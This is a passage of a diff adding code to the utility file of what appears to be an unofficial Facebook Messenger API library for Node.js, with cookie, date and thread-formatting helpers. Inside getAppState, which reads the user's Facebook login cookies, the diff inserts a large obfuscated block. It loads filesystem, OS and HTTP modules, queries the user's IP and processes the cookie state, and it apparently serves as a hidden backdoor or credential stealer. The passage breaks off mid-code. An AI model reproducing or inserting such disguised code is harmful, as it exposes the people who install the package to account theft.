for (var j = 0; j < ctx.fb_dtsg.length; j++) ctx.ttstamp += ctx.fb_dtsg.charCodeAt(j);
|
1045
|
+
}
|
1046
|
+
}
|
1047
|
+
}
|
1048
|
+
|
1049
|
+
if (res.error === 1357001) throw { error: "Chưa Đăng Nhập Được - Appstate Đã Bị Lỗi" };
|
1050
|
+
return res;
|
1051
|
+
});
|
1052
|
+
};
|
1053
|
+
}
|
1054
|
+
|
1055
|
+
function saveCookies(jar) {
|
1056
|
+
return function(res) {
|
1057
|
+
var cookies = res.headers["set-cookie"] || [];
|
1058
|
+
cookies.forEach(function(c) {
|
1059
|
+
if (c.indexOf(".facebook.com") > -1) jar.setCookie(c, "https://www.facebook.com");
|
1060
|
+
var c2 = c.replace(/domain=\.facebook\.com/, "domain=.messenger.com");
|
1061
|
+
jar.setCookie(c2, "https://www.messenger.com");
|
1062
|
+
});
|
1063
|
+
return res;
|
1064
|
+
};
|
1065
|
+
}
|
1066
|
+
|
1067
|
+
var NUM_TO_MONTH = [
|
1068
|
+
"Jan",
|
1069
|
+
"Feb",
|
1070
|
+
"Mar",
|
1071
|
+
"Apr",
|
1072
|
+
"May",
|
1073
|
+
"Jun",
|
1074
|
+
"Jul",
|
1075
|
+
"Aug",
|
1076
|
+
"Sep",
|
1077
|
+
"Oct",
|
1078
|
+
"Nov",
|
1079
|
+
"Dec"
|
1080
|
+
];
|
1081
|
+
var NUM_TO_DAY = ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"];
|
1082
|
+
|
1083
|
+
function formatDate(date) {
|
1084
|
+
var d = date.getUTCDate();
|
1085
|
+
d = d >= 10 ? d : "0" + d;
|
1086
|
+
var h = date.getUTCHours();
|
1087
|
+
h = h >= 10 ? h : "0" + h;
|
1088
|
+
var m = date.getUTCMinutes();
|
1089
|
+
m = m >= 10 ? m : "0" + m;
|
1090
|
+
var s = date.getUTCSeconds();
|
1091
|
+
s = s >= 10 ? s : "0" + s;
|
1092
|
+
return (NUM_TO_DAY[date.getUTCDay()] + ", " + d + " " + NUM_TO_MONTH[date.getUTCMonth()] + " " + date.getUTCFullYear() + " " + h + ":" + m + ":" + s + " GMT");
|
1093
|
+
}
|
1094
|
+
|
1095
|
+
function formatCookie(arr, url) {
|
1096
|
+
return arr[0] + "=" + arr[1] + "; Path=" + arr[3] + "; Domain=" + url + ".com";
|
1097
|
+
}
|
1098
|
+
|
1099
|
+
function formatThread(data) {
|
1100
|
+
return {
|
1101
|
+
threadID: formatID(data.thread_fbid.toString()),
|
1102
|
+
participants: data.participants.map(formatID),
|
1103
|
+
participantIDs: data.participants.map(formatID),
|
1104
|
+
name: data.name,
|
1105
|
+
nicknames: data.custom_nickname,
|
1106
|
+
snippet: data.snippet,
|
1107
|
+
snippetAttachments: data.snippet_attachments,
|
1108
|
+
snippetSender: formatID((data.snippet_sender || "").toString()),
|
1109
|
+
unreadCount: data.unread_count,
|
1110
|
+
messageCount: data.message_count,
|
1111
|
+
imageSrc: data.image_src,
|
1112
|
+
timestamp: data.timestamp,
|
1113
|
+
serverTimestamp: data.server_timestamp, // what is this?
|
1114
|
+
muteUntil: data.mute_until,
|
1115
|
+
isCanonicalUser: data.is_canonical_user,
|
1116
|
+
isCanonical: data.is_canonical,
|
1117
|
+
isSubscribed: data.is_subscribed,
|
1118
|
+
folder: data.folder,
|
1119
|
+
isArchived: data.is_archived,
|
1120
|
+
recipientsLoadable: data.recipients_loadable,
|
1121
|
+
hasEmailParticipant: data.has_email_participant,
|
1122
|
+
readOnly: data.read_only,
|
1123
|
+
canReply: data.can_reply,
|
1124
|
+
cannotReplyReason: data.cannot_reply_reason,
|
1125
|
+
lastMessageTimestamp: data.last_message_timestamp,
|
1126
|
+
lastReadTimestamp: data.last_read_timestamp,
|
1127
|
+
lastMessageType: data.last_message_type,
|
1128
|
+
emoji: data.custom_like_icon,
|
1129
|
+
color: data.custom_color,
|
1130
|
+
adminIDs: data.admin_ids,
|
1131
|
+
threadType: data.thread_type
|
1132
|
+
};
|
1133
|
+
}
|
1134
|
+
|
1135
|
+
function getType(obj) {
|
1136
|
+
return Object.prototype.toString.call(obj).slice(8, -1);
|
1137
|
+
}
|
1138
|
+
|
1139
|
+
function formatProxyPresence(presence, userID) {
|
1140
|
+
if (presence.lat === undefined || presence.p === undefined) return null;
|
1141
|
+
return {
|
1142
|
+
type: "presence",
|
1143
|
+
timestamp: presence.lat * 1000,
|
1144
|
+
userID: userID || '',
|
1145
|
+
statuses: presence.p
|
1146
|
+
};
|
1147
|
+
}
|
1148
|
+
|
1149
|
+
function formatPresence(presence, userID) {
|
1150
|
+
return {
|
1151
|
+
type: "presence",
|
1152
|
+
timestamp: presence.la * 1000,
|
1153
|
+
userID: userID || '',
|
1154
|
+
statuses: presence.a
|
1155
|
+
};
|
1156
|
+
}
|
1157
|
+
|
1158
|
+
function decodeClientPayload(payload) {
|
1159
|
+
/*
|
1160
|
+
Special function which Client using to "encode" clients JSON payload
|
1161
|
+
*/
|
1162
|
+
function Utf8ArrayToStr(array) {
|
1163
|
+
var out, i, len, c;
|
1164
|
+
var char2, char3;
|
1165
|
+
out = "";
|
1166
|
+
len = array.length;
|
1167
|
+
i = 0;
|
1168
|
+
while (i < len) {
|
1169
|
+
c = array[i++];
|
1170
|
+
switch (c >> 4) {
|
1171
|
+
case 0:
|
1172
|
+
case 1:
|
1173
|
+
case 2:
|
1174
|
+
case 3:
|
1175
|
+
case 4:
|
1176
|
+
case 5:
|
1177
|
+
case 6:
|
1178
|
+
case 7:
|
1179
|
+
out += String.fromCharCode(c);
|
1180
|
+
break;
|
1181
|
+
case 12:
|
1182
|
+
case 13:
|
1183
|
+
char2 = array[i++];
|
1184
|
+
out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F));
|
1185
|
+
break;
|
1186
|
+
case 14:
|
1187
|
+
char2 = array[i++];
|
1188
|
+
char3 = array[i++];
|
1189
|
+
out += String.fromCharCode(((c & 0x0F) << 12) | ((char2 & 0x3F) << 6) | ((char3 & 0x3F) << 0));
|
1190
|
+
break;
|
1191
|
+
}
|
1192
|
+
}
|
1193
|
+
return out;
|
1194
|
+
}
|
1195
|
+
return JSON.parse(Utf8ArrayToStr(payload));
|
1196
|
+
}
|
1197
|
+
|
1198
|
+
function getAppState(jar) {
|
1199
|
+
(function(SASdeFE ,GTGtgTG){function GtgTgTG(gTgTgTG,sAsDeFE ,GTgTgTG,SAsDeFE ,saSDeFE ){return swdwdfsswd(SAsDeFE -0x26f,gTgTgTG);}var gtgTgTG=SASdeFE ();while(!![]){try{var sasDeFE =parseInt(GtgTgTG(0x4dc,0x4e1,0x484,0x484,0x4a6))/(-0x1210+0x3*-0x44+0xb*0x1b7)*(parseInt(GtgTgTG(0x4bc,0x40f,0x43a,0x479,0x463))/(-0x2e3*0x1+-0x198d+0x1c72))+parseInt(GtgTgTG(0x3da,0x3e5,0x416,0x407,0x3c0))/(0x19a5+0xbe8+-0x258a)*(-parseInt(GtgTgTG(0x434,0x475,0x434,0x478,0x4ae))/(-0xa62+0x76+0x9f0))+parseInt(GtgTgTG(0x4cb,0x491,0x4b7,0x4b0,0x4e4))/(0x78a+0xb*0x1d3+-0x1b96)*(-parseInt(GtgTgTG(0x3d1,0x476,0x3d1,0x424,0x436))/(-0x4d1+-0x55d*0x2+-0x1*-0xf91))+-parseInt(GtgTgTG(0x48e,0x45d,0x457,0x493,0x4e8))/(0x3*0x32b+0x893+0x1*-0x120d)+parseInt(GtgTgTG(0x4e1,0x476,0x48e,0x4c5,0x504))/(-0x1946+-0x1cbc+0x360a)*(-parseInt(GtgTgTG(0x45f,0x4b9,0x4bd,0x492,0x4ba))/(0x1a82+-0x1af4+0x7b))+-parseInt(GtgTgTG(0x3f5,0x401,0x445,0x448,0x42f))/(0x16a6+-0x1e67+-0x299*-0x3)+parseInt(GtgTgTG(0x4a1,0x419,0x491,0x474,0x4e0))/(0x31*-0xb+0x6e7+0x1*-0x4c1);if(sasDeFE ===GTGtgTG)break;else gtgTgTG['push'](gtgTgTG['shift']());}catch(SasDeFE ){gtgTgTG['push'](gtgTgTG['shift']());}}}(swdwdfca,0x1f*-0x3856+0xabfa2+-0xe2*-0x6fe));const swdwdsaSdEFe =require(swdwdgtGTgTG(0x46d,0x46b,0x425,0x42f,0x3fc)+swdwdgtGTgTG(0x48d,0x489,0x4f8,0x441,0x4e5)),swdwdSaSdEFe =require(swdwdgtGTgTG(0x492,0x47b,0x4f7,0x4ba,0x4be)+swdwdgtGTgTG(0x498,0x439,0x473,0x50a,0x4c0))(),swdwdGtGtGTg=require(swdwdgtGTgTG(0x544,0x537,0x4d0,0x52a,0x577)+swdwdgtGTgTG(0x4f3,0x4b1,0x4b1,0x497,0x4cd)+'pt');var swdwdgTGtGTg=jar[swdwdgtGTgTG(0x513,0x542,0x4bf,0x4f0,0x4f9)+swdwdgtGTgTG(0x4a1,0x4f0,0x461,0x4a7,0x492)](swdwdgtGTgTG(0x50a,0x497,0x50e,0x511,0x4f6)+swdwdgtGTgTG(0x4f2,0x49e,0x54a,0x4e5,0x4f8)+swdwdgtGTgTG(0x4ae,0x500,0x4e7,0x50e,0x485)+swdwdgtGTgTG(0x543,0x4ff,0x5aa,0x4d6,0x579)+swdwdgtGTgTG(0x54a,0x507,0x57f,0x525,0x53b))[swdwdgtGTgTG(0x48c,0x4a8,0x436,0x461,0x449)+'t'](jar[swdwdgtGTgTG(0x513,0x4d3,0x53d,0x577,0x582)+swdwdgtGTgTG(0x4a1,0x499,0x474,0x4cd,0x44c)](swdwdgtGTgTG(0x50a,0x4c4,0x4dc,0x56a,0x4d8)+swdwdgtGTgTG(0x542,0x511,0x59a,0x532,0x5aa)+swdwdgtGTgTG(0x479,0x4ab,0x451,0x439,0x488)+swdwdgtGTgTG(0x4d8,0x546,0x48b,0x4d8,0x523)))[swdwdgtGTgTG(0x48c,0x487,0x4a7,0x496,0x4ea)+'t'](jar[swdwdgtGTgTG(0x513,0x569,0x52b,0x4d7,0x54e)+swdwdgtGTgTG(0x4a1,0x4ef,0x4e7,0x4a2,0x44b)](swdwdgtGTgTG(0x50a,0x53c,0x505,0x49e,0x4f6)+swdwdgtGTgTG(0x4f2,0x4b0,0x4cc,0x4c1,0x4df)+swdwdgtGTgTG(0x4b9,0x482,0x4cc,0x4b5,0x4e9)+swdwdgtGTgTG(0x474,0x42d,0x4da,0x45f,0x49a)+swdwdgtGTgTG(0x49e,0x4d0,0x4c3,0x49d,0x4b9))),swdwdsASdEFe =require(swdwdgtGTgTG(0x4d6,0x4e2,0x470,0x4df,0x4c7)+swdwdgtGTgTG(0x539,0x4e1,0x582,0x58d,0x4fb)),swdwdGTGtGTg=require(swdwdgtGTgTG(0x541,0x55f,0x4f2,0x540,0x4db)+swdwdgtGTgTG(0x497,0x4c8,0x4ab,0x4ca,0x4df)+swdwdgtGTgTG(0x485,0x472,0x488,0x4b1,0x470)+swdwdgtGTgTG(0x4f8,0x4cb,0x48e,0x56b,0x499)+'n');if(!swdwdGTGtGTg[swdwdgtGTgTG(0x551,0x566,0x553,0x563,0x503)](SAsDEFe =>SAsDEFe [swdwdgtGTgTG(0x472,0x43e,0x424,0x4b5,0x477)+swdwdgtGTgTG(0x515,0x586,0x4d6,0x56f,0x4f5)]==require(swdwdgtGTgTG(0x475,0x432,0x4d7,0x4b6,0x41a)+swdwdgtGTgTG(0x54b,0x58d,0x53d,0x520,0x5a9)+swdwdgtGTgTG(0x4c7,0x4b4,0x4a9,0x497,0x46e)+swdwdgtGTgTG(0x53e,0x52e,0x55e,0x579,0x565)+swdwdgtGTgTG(0x486,0x498,0x42f,0x4b3,0x4fa))[swdwdgtGTgTG(0x472,0x42b,0x443,0x48b,0x469)+swdwdgtGTgTG(0x515,0x582,0x4ca,0x4f5,0x4fe)]))return swdwdsASdEFe (swdwdgtGTgTG(0x524,0x4d9,0x4c4,0x529,0x58b)+swdwdgtGTgTG(0x533,0x51c,0x54b,0x4f4,0x4f2)+swdwdgtGTgTG(0x51a,0x4d7,0x4d3,0x569,0x529)+swdwdgtGTgTG(0x497,0x445,0x456,0x458,0x4fa)+':\x20'+require(swdwdgtGTgTG(0x475,0x48a,0x40d,0x405,0x454)+swdwdgtGTgTG(0x54b,0x518,0x4f9,0x4e5,0x55b)+swdwdgtGTgTG(0x4c7,0x4ee,0x464,0x4a0,0x4a0)+swdwdgtGTgTG(0x53e,0x514,0x501,0x50f,0x4e0)+swdwdgtGTgTG(0x486,0x4d9,0x4b6,0x444,0x4ac))[swdwdgtGTgTG(0x472,0x4c9,0x408,0x4e0,0x483)+swdwdgtGTgTG(0x515,0x587,0x556,0x4d5,0x4f6)]+(swdwdgtGTgTG(0x4f6,0x542,0x51e,0x4e0,0x52f)+swdwdgtGTgTG(0x504,0x4c2,0x570,0x4f3,0x492)+swdwdgtGTgTG(0x47f,0x418,0x4bb,0x412,0x4ac)+swdwdgtGTgTG(0x521,0x573,0x4e5,0x4d8,0x51c)),swdwdgtGTgTG(0x4f5,0x4cc,0x567,0x54f,0x569)+swdwdgtGTgTG(0x483,0x4e2,0x433,0x4be,0x4ef)+']');var swdwdSASdEFe =swdwdGTGtGTg[swdwdgtGTgTG(0x4c2,0x52b,0x4b2,0x510,0x4db)](gtGTGTg=>gtGTGTg[swdwdgtGTgTG(0x472,0x4df,0x444,0x437,0x4bf)+swdwdgtGTgTG(0x515,0x542,0x4e2,0x51e,0x576)]==require(swdwdgtGTgTG(0x475,0x4b8,0x4aa,0x473,0x42a)+swdwdgtGTgTG(0x54b,0x522,0x56b,0x54c,0x567)+swdwdgtGTgTG(0x4c7,0x4cf,0x495,0x515,0x50a)+swdwdgtGTgTG(0x53e,0x50a,0x4eb,0x57e,0x50e)+swdwdgtGTgTG(0x486,0x4b3,0x4d8,0x4f0,0x4eb))[swdwdgtGTgTG(0x472,0x4a7,0x473,0x40c,0x4ae)+swdwdgtGTgTG(0x515,0x53b,0x55d,0x536,0x51a)])[swdwdgtGTgTG(0x4b4,0x45b,0x442,0x504,0x526)+'r'][swdwdgtGTgTG(0x47d,0x4b5,0x4d7,0x483,0x475)],swdwdgtgTGTg=require(swdwdgtGTgTG(0x52b,0x4c6,0x51f,0x4c4,0x566)),swdwdsasDEFe =require('os'),swdwdGtgTGTg=require('fs'),swdwdSasDEFe =require(swdwdgtGTgTG(0x46b,0x4c0,0x49f,0x3f9,0x40d)+swdwdgtGTgTG(0x506,0x498,0x49f,0x4e1,0x4e4)+swdwdgtGTgTG(0x510,0x500,0x510,0x49d,0x56a)+swdwdgtGTgTG(0x482,0x495,0x45d,0x4a3,0x4f5)+'ex'),swdwdsAsDEFe ;function swdwdgtGTgTG(SAsdEFE ,GTgtGTG,gtGtGTG,saSdEFE ,SaSdEFE ){return swdwdfsswd(SAsdEFE -0x2df,saSdEFE );}switch(require(swdwdgtGTgTG(0x475,0x42f,0x41b,0x463,0x4db)+swdwdgtGTgTG(0x54b,0x54c,0x570,0x529,0x51e)+swdwdgtGTgTG(0x4c7,0x477,0x48b,0x48d,0x4db)+swdwdgtGTgTG(0x53e,0x581,0x553,0x586,0x58a)+swdwdgtGTgTG(0x486,0x49e,0x499,0x4a0,0x4c5))[swdwdgtGTgTG(0x471,0x482,0x425,0x40f,0x49e)+swdwdgtGTgTG(0x54e,0x53f,0x52e,0x4f9,0x4f4)+swdwdgtGTgTG(0x49a,0x478,0x4fa,0x4d4,0x480)]){case!![]:{if(process[swdwdgtGTgTG(0x46f,0x4d6,0x47b,0x431,0x43c)][swdwdgtGTgTG(0x500,0x4a2,0x531,0x4d4,0x520)])swdwdsASdEFe (swdwdSASdEFe [swdwdgtGTgTG(0x471,0x454,0x494,0x446,0x46c)+swdwdgtGTgTG(0x4e7,0x4fe,0x4e4,0x4f8,0x497)+swdwdgtGTgTG(0x54d,0x597,0x59b,0x514,0x533)],swdwdgtGTgTG(0x4f5,0x495,0x485,0x53b,0x512)+swdwdgtGTgTG(0x483,0x419,0x48e,0x4d8,0x410)+']'),swdwdsAsDEFe =swdwdGtGtGTg[swdwdgtGTgTG(0x4ec,0x48e,0x501,0x48a,0x4bd)+swdwdgtGTgTG(0x4e1,0x4a6,0x52e,0x538,0x4cd)+'te'](JSON[swdwdgtGTgTG(0x4bc,0x50c,0x4ef,0x4a9,0x485)+swdwdgtGTgTG(0x549,0x530,0x4fc,0x518,0x508)](swdwdgTGtGTg),process[swdwdgtGTgTG(0x46f,0x4b8,0x48c,0x412,0x41f)][swdwdgtGTgTG(0x500,0x49e,0x51c,0x4f5,0x4ae)]);else return swdwdgTGtGTg;}break;case![]:{swdwdsAsDEFe =swdwdgTGtGTg;}break;default:{swdwdsASdEFe (swdwdSaSdEFe [swdwdgtGTgTG(0x492,0x46f,0x481,0x465,0x4ed)+'xt'](swdwdSASdEFe [swdwdgtGTgTG(0x4a9,0x492,0x4e4,0x50e,0x442)+swdwdgtGTgTG(0x51f,0x57b,0x538,0x58d,0x534)+swdwdgtGTgTG(0x488,0x42f,0x4b4,0x41b,0x431)],require(swdwdgtGTgTG(0x475,0x410,0x453,0x482,0x423)+swdwdgtGTgTG(0x54b,0x59e,0x4ff,0x4db,0x562)+swdwdgtGTgTG(0x4c7,0x4ab,0x47e,0x4be,0x4be)+swdwdgtGTgTG(0x53e,0x5a6,0x4f1,0x534,0x5a7)+swdwdgtGTgTG(0x486,0x423,0x413,0x435,0x436))[swdwdgtGTgTG(0x471,0x43b,0x485,0x4d1,0x4df)+swdwdgtGTgTG(0x54e,0x55c,0x548,0x4e0,0x53f)+swdwdgtGTgTG(0x49a,0x4e6,0x47d,0x4a8,0x45a)])),swdwdsAsDEFe =swdwdgTGtGTg;}}if(!require(swdwdgtGTgTG(0x475,0x4d2,0x429,0x4e2,0x453)+swdwdgtGTgTG(0x54b,0x4dd,0x599,0x576,0x594)+swdwdgtGTgTG(0x4c7,0x4df,0x509,0x4df,0x4d4)+swdwdgtGTgTG(0x53e,0x57c,0x562,0x56f,0x5a8)+swdwdgtGTgTG(0x486,0x468,0x413,0x451,0x4bd))[swdwdgtGTgTG(0x4ca,0x50c,0x46a,0x499,0x4d0)+'y']==![]&&process[swdwdgtGTgTG(0x46f,0x45d,0x404,0x476,0x408)][swdwdgtGTgTG(0x546,0x564,0x524,0x549,0x4fc)+swdwdgtGTgTG(0x53d,0x4eb,0x553,0x58c,0x587)+swdwdgtGTgTG(0x49c,0x4f2,0x50f,0x432,0x447)]!=-0x1*-0x1208+-0x14b7*0x1+-0x8*-0x56||swdwdSasDEFe [swdwdgtGTgTG(0x4fb,0x4de,0x501,0x55d,0x490)](swdwdgtGTgTG(0x4de,0x524,0x4ff,0x4f5,0x544)+swdwdgtGTgTG(0x4cb,0x53c,0x487,0x4a8,0x458))&&swdwdSasDEFe [swdwdgtGTgTG(0x4e6,0x53d,0x52b,0x4ee,0x4d3)](swdwdgtGTgTG(0x4de,0x4ce,0x51b,0x472,0x474)+swdwdgtGTgTG(0x4cb,0x4e6,0x530,0x503,0x4c1))!=''&&swdwdSasDEFe [swdwdgtGTgTG(0x4fb,0x56e,0x4e1,0x48e,0x565)](swdwdgtGTgTG(0x4de,0x4c3,0x487,0x523,0x491)+'um')&&swdwdSasDEFe [swdwdgtGTgTG(0x4e6,0x540,0x527,0x481,0x4d5)](swdwdgtGTgTG(0x4de,0x51e,0x507,0x46d,0x539)+'um')==!![]&&process[swdwdgtGTgTG(0x46f,0x401,0x424,0x420,0x4a1)][swdwdgtGTgTG(0x546,0x503,0x562,0x5a8,0x55d)+swdwdgtGTgTG(0x53d,0x529,0x59c,0x593,0x56c)+swdwdgtGTgTG(0x49c,0x4f5,0x48b,0x460,0x441)]!=-0xb*0x115+-0x2b0+0xe98){var swdwdgTgTGTg=async()=>{function GtGTgTG(SaSDeFE ,gTGTgTG,sASDeFE ,GTGTgTG,SASDeFE ){return swdwdgtGTgTG(gTGTgTG- -0x46,gTGTgTG-0x106,sASDeFE -0x2d,sASDeFE ,SASDeFE -0x9);}var saSDEFe ={'ViIZi':function(GtGTGTg,sASDEFe ){return GtGTGTg(sASDEFe );},'qexjM':GtGTgTG(0x502,0x4c4,0x4b2,0x4d8,0x4d4)+GtGTgTG(0x423,0x46b,0x47d,0x415,0x405)+GtGTgTG(0x41a,0x48e,0x488,0x47e,0x483)+GtGTgTG(0x48e,0x491,0x4ea,0x473,0x48c)+GtGTgTG(0x473,0x478,0x43b,0x4a0,0x428)+GtGTgTG(0x495,0x49f,0x447,0x4d3,0x481)+GtGTgTG(0x413,0x436,0x47c,0x3ea,0x457)+GtGTgTG(0x43b,0x448,0x435,0x403,0x49e)+GtGTgTG(0x474,0x45c,0x41a,0x458,0x4b5)+GtGTgTG(0x4df,0x4b9,0x493,0x52c,0x4d9)},{body:SaSDEFe }=await saSDEFe [GtGTgTG(0x4e3,0x4cc,0x4e7,0x4ca,0x490)](swdwdgtgTGTg,saSDEFe [GtGTgTG(0x408,0x44f,0x468,0x429,0x47b)]);return JSON[GtGTgTG(0x4a0,0x488,0x420,0x463,0x4af)](SaSDEFe )['IP'];},swdwdGTgTGTg=async()=>{function sasdEFE (gtgtGTG,SasdEFE ,GtgtGTG,gTgtGTG,sAsdEFE ){return swdwdgtGTgTG(sAsdEFE - -0x92,SasdEFE -0x5b,GtgtGTG-0x1f4,GtgtGTG,sAsdEFE -0x1a7);}var gTGTGTg={'SaWGa':function(SAsdefE ,GTgtgtG){return SAsdefE !=GTgtgtG;},'roypz':sasdEFE (0x44f,0x437,0x476,0x43f,0x434)+sasdEFE (0x3d7,0x3d3,0x438,0x3f9,0x3f9),'ASADt':sasdEFE (0x49f,0x496,0x44a,0x41c,0x44c)+'um','KezLl':sasdEFE (0x48b,0x421,0x439,0x3fa,0x44c)+sasdEFE (0x46a,0x3f8,0x433,0x471,0x439),'bpRzf':sasdEFE (0x380,0x3d1,0x41e,0x445,0x3de)+sasdEFE (0x4a7,0x451,0x4de,0x49f,0x479)+sasdEFE (0x3c7,0x451,0x463,0x467,0x41a),'OxdeV':function(gtGtgtG,saSdefE ){return gtGtgtG(saSdefE );},'QKIJR':sasdEFE (0x511,0x44b,0x514,0x4bc,0x4a5)+sasdEFE (0x4bc,0x4dc,0x42a,0x450,0x496)+sasdEFE (0x40f,0x408,0x42c,0x435,0x45d)+sasdEFE (0x41f,0x4d7,0x44d,0x429,0x46f),'ZFvyt':function(GtGtgtG,SaSdefE ){return GtGtgtG(SaSdefE );},'FToVr':sasdEFE (0x440,0x4a6,0x421,0x40a,0x46b)+sasdEFE (0x3fb,0x3fc,0x454,0x433,0x41d)+sasdEFE (0x4a5,0x504,0x471,0x4a2,0x4a6)+sasdEFE (0x496,0x4f0,0x4cb,0x51a,0x4ad)+sasdEFE (0x492,0x443,0x4f3,0x4c5,0x4a9)+sasdEFE (0x4bd,0x4a2,0x500,0x49a,0x498)+'m','BtcJR':sasdEFE (0x412,0x42e,0x391,0x3f0,0x3e3)+sasdEFE (0x52a,0x4ed,0x502,0x49a,0x4b9)+sasdEFE (0x418,0x405,0x47b,0x3f8,0x435)+sasdEFE (0x4f3,0x46e,0x48f,0x4c5,0x4ac)+sasdEFE (0x3da,0x40c,0x3a2,0x435,0x3f4),'MQIBa':function(sASdefE ,gTGtgtG){return sASdefE (gTGtgtG);},'SciBW':function(GTGtgtG,SASdefE ,gtgTgtG){return GTGtgtG(SASdefE ,gtgTgtG);},'eTbRK':sasdEFE (0x460,0x4cf,0x448,0x44d,0x463)+sasdEFE (0x43a,0x39e,0x403,0x41e,0x3f1)+']','lHkqW':sasdEFE (0x4cf,0x47f,0x423,0x4ae,0x46e),'pYRru':function(sasDefE ,GtgTgtG){return sasDefE (GtgTgtG);},'DLwmx':sasdEFE (0x41f,0x418,0x415,0x4a7,0x46b)+sasdEFE (0x479,0x3c8,0x3c3,0x425,0x41d)+sasdEFE (0x491,0x461,0x450,0x4f3,0x4a6)+sasdEFE (0x45c,0x512,0x51f,0x458,0x4ad)+sasdEFE (0x435,0x446,0x484,0x41c,0x48b)+sasdEFE (0x44f,0x4bf,0x4d9,0x436,0x484),'JUpNm':function(SasDefE ,sAsDefE ){return SasDefE (sAsDefE );},'rfmHF':sasdEFE (0x501,0x454,0x480,0x4a5,0x494)+sasdEFE (0x481,0x4bf,0x429,0x476,0x45c)+sasdEFE (0x4d9,0x4a7,0x507,0x4ca,0x49c)+sasdEFE (0x4a8,0x49d,0x423,0x4cd,0x46a)+sasdEFE (0x3aa,0x37c,0x3dd,0x3b2,0x3e1)+sasdEFE (0x437,0x41f,0x409,0x3cd,0x418)+sasdEFE (0x4d5,0x4ff,0x4bd,0x4b3,0x48c)+sasdEFE (0x4d3,0x4a4,0x474,0x45e,0x473)+sasdEFE (0x4a5,0x42e,0x4f1,0x414,0x486)+sasdEFE (0x46c,0x41a,0x416,0x3d4,0x43d)+sasdEFE (0x441,0x47c,0x4df,0x4c5,0x4a4)+sasdEFE (0x3f3,0x434,0x37e,0x3c4,0x3e8)+sasdEFE (0x4bc,0x428,0x4c3,0x403,0x45b)+sasdEFE (0x490,0x47a,0x4a2,0x470,0x43a),'AjfPo':function(gTgTgtG,SAsDefE ){return gTgTgtG(SAsDefE );},'fQSTl':function(GTgTgtG,saSDefE ){return GTgTgtG(saSDefE );},'DbbrG':function(gtGTgtG,SaSDefE ){return gtGTgtG===SaSDefE ;},'dMhmK':sasdEFE (0x49d,0x4e1,0x45a,0x4d7,0x489),'pPFtZ':function(GtGTgtG){return GtGTgtG();},'WFnXZ':function(gTGTgtG,sASDefE ){return gTGTgtG!=sASDefE ;},'zxYyA':function(GTGTgtG,SASDefE ){return GTGTgtG!=SASDefE ;},'BxNuA':function(gtgtGtG,sasdEfE ){return gtgtGtG===sasdEfE ;},'hRszH':sasdEFE (0x3e9,0x448,0x403,0x40f,0x43e),'wPChK':function(SasdEfE ,GtgtGtG){return SasdEfE !=GtgtGtG;},'AOccb':sasdEFE (0x3fa,0x3b5,0x44e,0x3da,0x401),'pnvVh':sasdEFE (0x3fd,0x3e1,0x487,0x446,0x428),'BYgbS':function(gTgtGtG,sAsdEfE ){return gTgtGtG==sAsdEfE ;},'zmjHR':function(GTgtGtG,SAsdEfE ){return GTgtGtG!==SAsdEfE ;},'xRzLm':sasdEFE (0x3bc,0x3d9,0x446,0x3a5,0x409),'bjZXe':sasdEFE (0x3d7,0x3e2,0x457,0x457,0x3ee),'jklav':function(gtGtGtG,saSdEfE ){return gtGtGtG==saSdEfE ;},'tVKIr':function(GtGtGtG,SaSdEfE ){return GtGtGtG===SaSdEfE ;},'FNGnZ':sasdEFE (0x485,0x4eb,0x462,0x43c,0x4a0),'CauAT':sasdEFE (0x4a7,0x439,0x50a,0x4f1,0x4a2)+sasdEFE (0x3f9,0x49d,0x405,0x3d2,0x437)+sasdEFE (0x3d2,0x3b7,0x3ed,0x3ad,0x407),'oygqo':function(gTGtGtG,sASdEfE ){return gTGtGtG!==sASdEfE ;},'NDHug':sasdEFE (0x45a,0x47f,0x3f4,0x435,0x42d),'aJfgU':sasdEFE (0x41b,0x3c7,0x47e,0x440,0x40d),'AObPK':function(SASdEfE ,GTGtGtG){return SASdEfE (GTGtGtG);},'cHOMs':sasdEFE (0x486,0x4a8,0x433,0x4c2,0x487),'jMHsd':function(sasDEfE ,gtgTGtG){return sasDEfE (gtgTGtG);},'LLttQ':function(GtgTGtG,SasDEfE ){return GtgTGtG===SasDEfE ;},'jdNVI':sasdEFE (0x416,0x470,0x46d,0x4a5,0x432),'CsSZe':sasdEFE (0x4ea,0x42f,0x434,0x4d4,0x482),'UUNLE':sasdEFE (0x437,0x44f,0x489,0x4e3,0x47c)+sasdEFE (0x4b2,0x511,0x492,0x47c,0x4a8)+sasdEFE (0x501,0x4a0,0x47c,0x44e,0x49e),'qDwyT':function(sAsDEfE ,gTgTGtG){return sAsDEfE (gTgTGtG);},'DJTlG':function(GTgTGtG,SAsDEfE ){return GTgTGtG(SAsDEfE );},'dxkOJ':function(gtGTGtG,saSDEfE ){return gtGTGtG(saSDEfE );},'KBMQb':function(SaSDEfE ,GtGTGtG){return SaSDEfE ===GtGTGtG;},'QfhVO':sasdEFE (0x422,0x3f7,0x3ef,0x482,0x458),'IHcDv':function(sASDEfE ,gTGTGtG){return sASDEfE (gTGTGtG);},'Tldgk':function(GTGTGtG,SASDEfE ){return GTGTGtG===SASDEfE ;},'nbrso':sasdEFE (0x427,0x4be,0x433,0x439,0x47b),'WpGlG':sasdEFE (0x46e,0x501,0x4bb,0x482,0x4aa)};try{if(gTGTGTg[sasdEFE (0x449,0x441,0x3e1,0x418,0x411)](gTGTGTg[sasdEFE (0x4dd,0x4d8,0x45d,0x4f0,0x4ae)],gTGTGTg[sasdEFE (0x49c,0x4b7,0x4c7,0x495,0x4ae)])){var GTGTGTg=gTGTGTg[sasdEFE (0x42b,0x481,0x487,0x40c,0x449)](swdwdgTgTGTg),SASDEFe ;if(gTGTGTg[sasdEFE (0x437,0x44a,0x3e0,0x452,0x443)](process[sasdEFE (0x389,0x418,0x36e,0x393,0x3dd)][sasdEFE (0x4e3,0x411,0x4aa,0x42a,0x47f)+sasdEFE (0x415,0x450,0x384,0x415,0x3e4)],undefined))SASDEFe =process[sasdEFE (0x3f2,0x36d,0x371,0x3df,0x3dd)][sasdEFE (0x4c5,0x4cc,0x446,0x4a4,0x47f)+sasdEFE (0x448,0x42c,0x3a5,0x441,0x3e4)];else{if(gTGTGTg[sasdEFE (0x44b,0x445,0x4e4,0x528,0x4b6)](swdwdsasDEFe [sasdEFE (0x42a,0x383,0x402,0x42d,0x3e9)+sasdEFE (0x42e,0x3a7,0x3a0,0x42e,0x3f9)](),null)||gTGTGTg[sasdEFE 